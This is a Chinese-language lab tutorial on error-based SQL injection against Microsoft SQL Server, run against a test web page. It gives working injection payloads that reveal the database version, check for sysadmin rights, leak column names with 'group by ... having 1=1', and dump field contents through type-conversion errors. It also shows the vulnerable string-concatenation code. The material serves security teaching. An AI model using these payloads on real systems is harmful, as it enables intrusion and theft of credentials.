1)Mssql即Sql Sever,SQL Server是Microsoft公司推出的关系型数据库管理系统,Sql Sever通常与IIS服务器搭配使用。
2)Mssql的注入方法和Mysql等其他数据库的注入方法类似,可以参考下文:
http://www.cnblogs.com/rush/archive/2011/12/31/2309203.html
3)在mssql注入过程中,经常用到一些mssql中的系统函数,这些系统函数有助于帮助获取目标站点的信息:
User;user_name();system_user用户。
db_name():当前数据库的名字。
host_name():主机名字。
@@version:数据库版本。
@@servername:服务器名称。
@@language:当前所使用语言的名称。
@@spid:当前用户的进程ID。
is_srvrolemember(‘sysadmin’)判断用户是否属于管理员的组。
更多系统函数请参考:
http://www.cnblogs.com/jack-liang/archive/2011/03/25/1995466.html
4)了解group by having的用法。
详细参考:
http://www.cnblogs.com/gaiyang/archive/2011/04/01/2002452.html
http://www.cnblogs.com/wang-123/archive/2012/01/05/2312676.html
通过该实验可以让用户掌握常见的mssql报错原理,数据类型转换错误,group by having的报错,掌握mssql中常见的几个系统函数。
测试环境:windows sever 2003,IP地址:10.1.1.215
1.判断页面是否可以注入:
首先访问页面http://10.1.1.215:8080/Information.aspx?id=1,然后在参数id=1后面添加单引号。
出现报错情况。然后在id=1后面添加and 1=1,页面响应正常。
在id=1后面添加and 1=2,页面没有数据返回。
根据上面的情况可以判定id=1这里是可以注入的,并且可以确定参数id是整数类型(int)的。
造成注入的原因是未对参数进行任何处理。关键代码:
string where = string.Format("ID={0}", Request.Params["id"]);
拼接后的sql语句为:
select * from articles where ID=1
2.把参数id后面的1替换为@@version,参数ID为整型数据,因为字符串型的数据无法转换成整数型的数据,所以出现了报错现象。
注入后的sql语句变为:
select * from articles where ID=@@version
@@version表示获取数据库的版本,因为不同版本的数据有略微的差别,所以获取数据的版本信息还是很重要的。
另外,自己动手试试其他系统函数,参考预备知识中的系统函数。
is_srvrolemember(‘sysadmin’)函数是用来判断当前的数据用户是否属于管理员组权限,即sql server中的最高权限。利用is_srvrolemember(‘sysadmin’)返回的值来产生能触发强制类型转换错误的字符串。88是字母X的十进制ASCII值,%2B是加号(“+”)的URL编码。如果当前用户不属于sysadmin组,那么is_srvrolemember(‘sysadmin’)将返回0,char(88+0)将返回字母X。而如果当前用户拥有管理员权限,那么is_srvrolemember(‘sysadmin’)将返回1,char(88+1)将返回字母Y,再次触发强制类型转换错误。
注入后的sql语句变为:
select * from articles where id=char(88+is_srvrolemember ('sysadmin'))
这里需要注意url中不能写成+,要写成URL编码后的形式%2b,因为url中的+被认为是空格。报错信息为Y,说明is_srvrolemember(‘sysadmin’)的值为1,可以断定当前的数据库用户属于管理员组。
1.用having 1=1爆出第一个字段的名字。
注入后的sql语句为:
select * from articles where ID=1 having 1=1
having后面通常跟聚合函数的条件,因为select后面没有任何聚合函数,所以出现了报错。
2.爆出其他字段内容,方法为在group by后面跟上第一个字段,爆下一个字段的时候需要在group by后面跟上前面得到的所有字段。
注入后的sql语句为:
select * from articles where ID=1 group by id having 1=1
接着爆下一个字段的名字,注入语句为:
group by id,title having 1=1
自己尝试爆出剩下的字段名。
3.爆字段内容。这里用到转换类型错误报错,形如1=0/columnname,因为0是整数型,而columnname为字符型。爆字段title的内容。
注入后的sql语句为:
select * from articles where ID =1 and 1/title
因为title为字符串类型,转换出错。
如果登录界面存在这种错误,那么攻击者可以通过这种方法来获取用户的用户名和密码等信息。